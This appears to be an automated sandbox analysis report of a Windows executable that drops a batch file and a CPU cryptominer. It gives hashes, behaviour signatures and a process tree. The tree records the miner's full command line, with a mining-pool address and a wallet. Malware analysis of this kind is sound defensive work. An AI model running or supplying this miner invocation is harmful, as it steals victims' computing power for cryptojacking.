73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 07:01

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2556	b2e.exe
2560	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2628-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2556	2628	batexe.exe	74
PID 2628 wrote to memory of 2556	2628	batexe.exe	74
PID 2628 wrote to memory of 2556	2628	batexe.exe	74
PID 2556 wrote to memory of 3524	2556	b2e.exe	75
PID 2556 wrote to memory of 3524	2556	b2e.exe	75
PID 2556 wrote to memory of 3524	2556	b2e.exe	75
PID 3524 wrote to memory of 2560	3524	cmd.exe	78
PID 3524 wrote to memory of 2560	3524	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91A1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe

Filesize
4.6MB

MD5
d28029367f273e1eab6f355439051e8f

SHA1
8da4d57982a770679aa7797647a7641813be545a

SHA256
5c2086c8adae7c339a2bedf43b2491e9736875c478f7f0075fbe76b1e96c0590

SHA512
242b91c931c326b2e3ef795fdd459ee6c86fcdb05cea935dbe53910df7a36a567631b554f4b79837998621d0f07816bff58fc3ad3753ef61ce4dd0f19fe54a95

Download Submit
C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe

Filesize
4.5MB

MD5
216d6878eefde110754f9e3eccacd3c4

SHA1
9e8b753f35022bb259a03bf52cc431ab0f4fb546

SHA256
19d9d7f126bc58de16d020be0dbe714aac3d28bacb41ae5eab5811ea43c0d29b

SHA512
997fb947ece530dd3d3a200acff2ef4a72b0c2512aa6527b71f38d2f1527b7c53d11326d0111e18e31c78373624ddae09d5d04e81a65ca01b61fc639657cc04e

Download Submit
C:\Users\Admin\AppData\Local\Temp\91A1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.0MB

MD5
07684799c93d0a2bbeb92ca8f44cccaf

SHA1
63ed0e4d7e66f2c7bfc3ae2ab9d1192902960e93

SHA256
810d831221e0227ea4a3b1639d791c7905b1ba4f3f2f0b5af1fa911fbf7ce03e

SHA512
d1fe3933b7859ad94eba483017a8c398c996d0669cd6ed340b1fb481de66649086b82333c3049ce26816096d02b4ba7958cc149d0b15d3942cc3282b6ab19fc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
00f2b752a24f44f10654eeb6a72673e4

SHA1
e18590c051c45a1a1b1af72fe3d47ae284c0e717

SHA256
dfc64ca623484b762b10dff75ee9d517b13de9947ffe27d0dcfc36ad8a07d31c

SHA512
040f6579b256844a2cee54f948d0e8d3d4d840c1c5f2650ce0cbbb586c3093146ffd044baa6b9fd22f5179286e3243f0312d477fa91e460edfb5e6f9a725b605

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
704KB

MD5
903e2cfee96d720dd5200a922b637d07

SHA1
f6d639d7b6bb586abcb5f97b1b212252ed6c85b2

SHA256
443ef0fe0e5e9cff04e267b1bbbbc98b547e5bd38a853eb79d06a43a8e7d17f2

SHA512
c9c357be28d1d97bd5255d88bc64255f452867407c3aa4c99b286913286780da1204691a0344514f070b8bad391980a88b165eb1e8e9ee97f77ef02eb85071c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
fdef1e5e846094237b66dc75285bf581

SHA1
56d8f58c8b60cc22d72a6acaf9fbbcd2a6607865

SHA256
b947656efc9b86c57a486b5bff0ac3133566516d0f303ca6d071b16c43d5599a

SHA512
2960585ee0adb84850cd6256ca4ac9ca1cb095d40082def6220f8c2e8ca11a13207ced0ec94c5ac92905590a1fc030856e4f9eacad947589dfe43f79df1e7ab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
9e4afb4b7816c7cbb4c3bf46d8be9bd6

SHA1
9a7543a42c4861dbe1ad5320c4f931e4d80ec535

SHA256
84dc13ab5d4d3c38ca5810d9e64b3001776399e323ec0344534d1c876f613fcf

SHA512
f2f6a2380ae388d43f46cefe4d3d5f8829428e67db09d651c1ba4fbfe4916838bc961387eaf82da9e214a5ea6aac8c266da518f0ee98e13c00ba58fb65c547b3

Download Submit
memory/2556-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2556-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2560-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-42-0x0000000064810000-0x00000000648A8000-memory.dmp

Filesize
608KB

Download
memory/2560-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2560-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/2560-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2560-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2628-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download